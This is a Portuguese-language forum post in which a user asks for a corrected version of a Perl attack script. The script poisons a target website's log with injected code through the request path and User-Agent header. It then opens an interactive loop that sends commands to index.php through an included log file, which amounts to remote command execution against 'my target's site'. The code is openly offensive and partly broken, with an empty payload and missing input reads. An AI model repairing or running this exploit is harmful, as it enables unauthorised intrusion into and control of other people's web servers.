Erro no script

byronlars
(usa Outra)

Enviado em 13/05/2013 - 14:50h

Alguém ai pode me enviar o código corrigido?

#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site="sitedomeualvo.com.br";
$diretorio="/new/";
$codigo="";
$log = "caminho/blabla";

print "Tentando injetar código...";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "Falha de conexão.";
print $socket "GET ".$diretorio.$codigo." HTTP/1.1";
print $socket "User-Agent: ".$codigo."";
print $socket "Host: ".$site."";
print $socket "Connection: close";
close($socket);
print "Codigo $codigo injetado com sucesso em $log";
print "exit: ";
$cmd = ;
while($cmd !~ "exit") {
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "Falha de conexao.";
print $socket "GET ".$diretorio."index.php=".$log."&cmd=$cmd HTTP/1.1";
print $socket "Host: ".$site."";
print $socket "Accept: */*";
print $socket "Connection: close";
while ($mostrar = <$socket>)
{
print $mostrar;
}
print "exit: ";
$cmd = ;
}